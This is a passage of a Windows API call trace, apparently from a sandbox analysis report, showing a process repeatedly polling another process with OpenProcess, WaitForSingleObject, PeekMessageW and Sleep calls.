wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.185] Sleep (dwMilliseconds=0x1) [0320.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.201] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.217] CloseHandle (hObject=0x597c) returned 1 [0320.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.217] Sleep (dwMilliseconds=0x1) [0320.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.232] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.247] CloseHandle (hObject=0x597c) returned 1 [0320.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.247] Sleep (dwMilliseconds=0x1) [0320.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.263] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.279] CloseHandle (hObject=0x597c) returned 1 [0320.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.279] Sleep (dwMilliseconds=0x1) [0320.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.294] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.310] CloseHandle (hObject=0x597c) returned 1 [0320.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.310] Sleep (dwMilliseconds=0x1) [0320.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.326] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.341] CloseHandle (hObject=0x597c) returned 1 [0320.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.341] Sleep (dwMilliseconds=0x1) [0320.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.357] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.373] CloseHandle (hObject=0x597c) returned 1 [0320.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.373] Sleep (dwMilliseconds=0x1) [0320.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.388] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.404] CloseHandle (hObject=0x597c) returned 1 [0320.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.404] Sleep (dwMilliseconds=0x1) [0320.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.420] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.435] CloseHandle (hObject=0x597c) returned 1 [0320.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.435] Sleep (dwMilliseconds=0x1) [0320.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.451] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.466] CloseHandle (hObject=0x597c) returned 1 [0320.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.466] Sleep (dwMilliseconds=0x1) [0320.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.482] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.499] CloseHandle (hObject=0x597c) returned 1 [0320.499] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.499] Sleep (dwMilliseconds=0x1) [0320.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.513] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.532] CloseHandle (hObject=0x597c) returned 1 [0320.532] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.532] Sleep (dwMilliseconds=0x1) [0320.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.545] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.560] CloseHandle (hObject=0x597c) returned 1 [0320.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.560] Sleep (dwMilliseconds=0x1) [0320.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59bc [0320.577] WaitForSingleObject (hHandle=0x59bc, dwMilliseconds=0xa) returned 0x102 [0320.591] CloseHandle (hObject=0x59bc) returned 1 [0320.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.591] Sleep (dwMilliseconds=0x1) [0320.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59bc [0320.607] WaitForSingleObject (hHandle=0x59bc, dwMilliseconds=0xa) returned 0x102 [0320.622] CloseHandle (hObject=0x59bc) returned 1 [0320.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.622] Sleep (dwMilliseconds=0x1) [0320.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59bc [0320.638] WaitForSingleObject (hHandle=0x59bc, dwMilliseconds=0xa) returned 0x102 [0320.654] CloseHandle (hObject=0x59bc) returned 1 [0320.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.654] Sleep (dwMilliseconds=0x1) [0320.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59bc [0320.669] WaitForSingleObject (hHandle=0x59bc, dwMilliseconds=0xa) returned 0x102 [0320.685] CloseHandle (hObject=0x59bc) returned 1 [0320.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.685] Sleep (dwMilliseconds=0x1) [0320.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59bc [0320.701] WaitForSingleObject (hHandle=0x59bc, dwMilliseconds=0xa) returned 0x102 [0320.716] CloseHandle (hObject=0x59bc) returned 1 [0320.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.716] Sleep (dwMilliseconds=0x1) [0320.735] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.735] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.747] CloseHandle (hObject=0x59d0) returned 1 [0320.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.747] Sleep (dwMilliseconds=0x1) [0320.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.763] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.779] CloseHandle (hObject=0x59d0) returned 1 [0320.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.779] Sleep (dwMilliseconds=0x1) [0320.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.794] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.810] CloseHandle (hObject=0x59d0) returned 1 [0320.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.810] Sleep (dwMilliseconds=0x1) [0320.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.826] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.841] CloseHandle (hObject=0x59d0) returned 1 [0320.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.841] Sleep (dwMilliseconds=0x1) [0320.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.857] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.872] CloseHandle (hObject=0x59d0) returned 1 [0320.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.873] Sleep (dwMilliseconds=0x1) [0320.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.888] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.904] CloseHandle (hObject=0x59d0) returned 1 [0320.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.904] Sleep (dwMilliseconds=0x1) [0320.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.919] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.935] CloseHandle (hObject=0x59d0) returned 1 [0320.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.935] Sleep (dwMilliseconds=0x1) [0320.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.951] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.966] CloseHandle (hObject=0x59d0) returned 1 [0320.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.966] Sleep (dwMilliseconds=0x1) [0320.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0320.982] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0320.997] CloseHandle (hObject=0x59d0) returned 1 [0320.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.997] Sleep (dwMilliseconds=0x1) [0321.026] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0321.026] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0321.029] CloseHandle (hObject=0x59d0) returned 1 [0321.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.029] Sleep (dwMilliseconds=0x1) [0321.046] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0321.046] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0321.068] CloseHandle (hObject=0x59d0) returned 1 [0321.068] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.068] Sleep (dwMilliseconds=0x1) [0321.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59d0 [0321.075] WaitForSingleObject (hHandle=0x59d0, dwMilliseconds=0xa) returned 0x102 [0321.091] CloseHandle (hObject=0x59d0) returned 1 [0321.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.091] Sleep (dwMilliseconds=0x1) [0321.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59f4 [0321.107] WaitForSingleObject (hHandle=0x59f4, dwMilliseconds=0xa) returned 0x102 [0321.123] CloseHandle (hObject=0x59f4) returned 1 [0321.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.123] Sleep (dwMilliseconds=0x1) [0321.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59f4 [0321.138] WaitForSingleObject (hHandle=0x59f4, dwMilliseconds=0xa) returned 0x102 [0321.154] CloseHandle (hObject=0x59f4) returned 1 [0321.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.154] Sleep (dwMilliseconds=0x1) [0321.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x59f8 [0321.169] WaitForSingleObject (hHandle=0x59f8, dwMilliseconds=0xa) returned 0x102 [0321.185] CloseHandle (hObject=0x59f8) returned 1 [0321.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.185] Sleep (dwMilliseconds=0x1) [0321.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a00 [0321.200] WaitForSingleObject (hHandle=0x5a00, dwMilliseconds=0xa) returned 0x102 [0321.216] CloseHandle (hObject=0x5a00) returned 1 [0321.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.216] Sleep (dwMilliseconds=0x1) [0321.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a00 [0321.232] WaitForSingleObject (hHandle=0x5a00, dwMilliseconds=0xa) returned 0x102 [0321.253] CloseHandle (hObject=0x5a00) returned 1 [0321.253] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.253] Sleep (dwMilliseconds=0x1) [0321.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a00 [0321.263] WaitForSingleObject (hHandle=0x5a00, dwMilliseconds=0xa) returned 0x102 [0321.279] CloseHandle (hObject=0x5a00) returned 1 [0321.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.279] Sleep (dwMilliseconds=0x1) [0321.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a00 [0321.294] WaitForSingleObject (hHandle=0x5a00, dwMilliseconds=0xa) returned 0x102 [0321.310] CloseHandle (hObject=0x5a00) returned 1 [0321.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.310] Sleep (dwMilliseconds=0x1) [0321.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a30 [0321.326] WaitForSingleObject (hHandle=0x5a30, dwMilliseconds=0xa) returned 0x102 [0321.357] CloseHandle (hObject=0x5a30) returned 1 [0321.357] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.357] Sleep (dwMilliseconds=0x1) [0321.373] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aa0 [0321.373] WaitForSingleObject (hHandle=0x5aa0, dwMilliseconds=0xa) returned 0x102 [0321.388] CloseHandle (hObject=0x5aa0) returned 1 [0321.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.388] Sleep (dwMilliseconds=0x1) [0321.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aa0 [0321.404] WaitForSingleObject (hHandle=0x5aa0, dwMilliseconds=0xa) returned 0x102 [0321.419] CloseHandle (hObject=0x5aa0) returned 1 [0321.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.419] Sleep (dwMilliseconds=0x1) [0321.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aa8 [0321.435] WaitForSingleObject (hHandle=0x5aa8, dwMilliseconds=0xa) returned 0x102 [0321.451] CloseHandle (hObject=0x5aa8) returned 1 [0321.451] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.466] Sleep (dwMilliseconds=0x1) [0321.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aa8 [0321.482] WaitForSingleObject (hHandle=0x5aa8, dwMilliseconds=0xa) returned 0x102 [0321.498] CloseHandle (hObject=0x5aa8) returned 1 [0321.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.498] Sleep (dwMilliseconds=0x1) [0321.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aa8 [0321.513] WaitForSingleObject (hHandle=0x5aa8, dwMilliseconds=0xa) returned 0x102 [0321.529] CloseHandle (hObject=0x5aa8) returned 1 [0321.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.529] Sleep (dwMilliseconds=0x1) [0321.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aa8 [0321.545] WaitForSingleObject (hHandle=0x5aa8, dwMilliseconds=0xa) returned 0x102 [0321.570] CloseHandle (hObject=0x5aa8) returned 1 [0321.570] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.570] Sleep (dwMilliseconds=0x1) [0321.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5aec [0321.577] WaitForSingleObject (hHandle=0x5aec, dwMilliseconds=0xa) returned 0x102 [0321.592] CloseHandle (hObject=0x5aec) returned 1 [0321.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.592] Sleep (dwMilliseconds=0x1) [0321.609] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0c [0321.609] WaitForSingleObject (hHandle=0x5b0c, dwMilliseconds=0xa) returned 0x102 [0321.622] CloseHandle (hObject=0x5b0c) returned 1 [0321.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.622] Sleep (dwMilliseconds=0x1) [0321.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0c [0321.638] WaitForSingleObject (hHandle=0x5b0c, dwMilliseconds=0xa) returned 0x102 [0321.654] CloseHandle (hObject=0x5b0c) returned 1 [0321.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.654] Sleep (dwMilliseconds=0x1) [0321.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0c [0321.669] WaitForSingleObject (hHandle=0x5b0c, dwMilliseconds=0xa) returned 0x102 [0321.685] CloseHandle (hObject=0x5b0c) returned 1 [0321.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.685] Sleep (dwMilliseconds=0x1) [0321.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0c [0321.714] WaitForSingleObject (hHandle=0x5b0c, dwMilliseconds=0xa) returned 0x102 [0321.716] CloseHandle (hObject=0x5b0c) returned 1 [0321.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.716] Sleep (dwMilliseconds=0x1) [0321.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0c [0321.732] WaitForSingleObject (hHandle=0x5b0c, dwMilliseconds=0xa) returned 0x102 [0321.747] CloseHandle (hObject=0x5b0c) returned 1 [0321.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.748] Sleep (dwMilliseconds=0x1) [0321.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0c [0321.763] WaitForSingleObject (hHandle=0x5b0c, dwMilliseconds=0xa) returned 0x102 [0321.779] CloseHandle (hObject=0x5b0c) returned 1 [0321.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.779] Sleep (dwMilliseconds=0x1) [0321.801] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b1c [0321.801] WaitForSingleObject (hHandle=0x5b1c, dwMilliseconds=0xa) returned 0x102 [0321.810] CloseHandle (hObject=0x5b1c) returned 1 [0321.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.810] Sleep (dwMilliseconds=0x1) [0321.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b1c [0321.826] WaitForSingleObject (hHandle=0x5b1c, dwMilliseconds=0xa) returned 0x102 [0321.841] CloseHandle (hObject=0x5b1c) returned 1 [0321.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.841] Sleep (dwMilliseconds=0x1) [0321.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b24 [0321.857] WaitForSingleObject (hHandle=0x5b24, dwMilliseconds=0xa) returned 0x102 [0321.873] CloseHandle (hObject=0x5b24) returned 1 [0321.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.873] Sleep (dwMilliseconds=0x1) [0321.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b24 [0321.888] WaitForSingleObject (hHandle=0x5b24, dwMilliseconds=0xa) returned 0x102 [0321.904] CloseHandle (hObject=0x5b24) returned 1 [0321.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.904] Sleep (dwMilliseconds=0x1) [0321.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b24 [0321.919] WaitForSingleObject (hHandle=0x5b24, dwMilliseconds=0xa) returned 0x102 [0321.936] CloseHandle (hObject=0x5b24) returned 1 [0321.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.936] Sleep (dwMilliseconds=0x1) [0321.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b24 [0321.950] WaitForSingleObject (hHandle=0x5b24, dwMilliseconds=0xa) returned 0x102 [0321.966] CloseHandle (hObject=0x5b24) returned 1 [0321.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0321.966] Sleep (dwMilliseconds=0x1) [0322.022] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b24 [0322.022] WaitForSingleObject (hHandle=0x5b24, dwMilliseconds=0xa) returned 0x102 [0322.057] CloseHandle (hObject=0x5b24) returned 1 [0322.057] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.057] Sleep (dwMilliseconds=0x1) [0322.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b3c [0322.090] WaitForSingleObject (hHandle=0x5b3c, dwMilliseconds=0xa) returned 0x102 [0322.093] CloseHandle (hObject=0x5b3c) returned 1 [0322.094] PeekMessageW (in: lpMsg=0x354f90c, 